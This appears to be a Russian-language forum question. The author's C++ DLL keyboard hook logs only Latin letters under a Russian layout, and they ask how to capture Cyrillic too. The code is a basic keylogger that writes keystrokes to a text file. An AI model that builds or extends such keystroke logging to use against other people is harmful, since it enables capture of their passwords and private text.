при перехвате отлавливатся английские буквы, а расскладка стоит русская, как сделать так чтобы можно было перехватывать русские буквы? Вот код перехвата из dll:| Код | ofstream wr("WriteString.txt"); HHOOK hh; LRESULT WINAPI keyboardhook(INT nCode,WPARAM wParam,LPARAM lParam) { if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) { if(wParam==VK_MENU) { //MessageBoxA( NULL,"vk_menu","eRRno",MB_OK); wr.close(); BOOL unhooked = UnhookWindowsHookEx(hh); return unhooked; } if(wParam==13) wr<<"\n"; if ((wParam==VK_F11)||(wParam==VK_F12)||(wParam>=0x2f ) &&(wParam<=0x100)) { //int x=65; char*temp=new char[2]; char y; y=(char)wParam; temp[0]=y; temp[1]='\0'; //MessageBoxA(NULL,temp,"letter",MB_OK); wr<<temp; delete[]temp; } } return CallNextHookEx(hh,nCode,wParam,lParam); }
|
|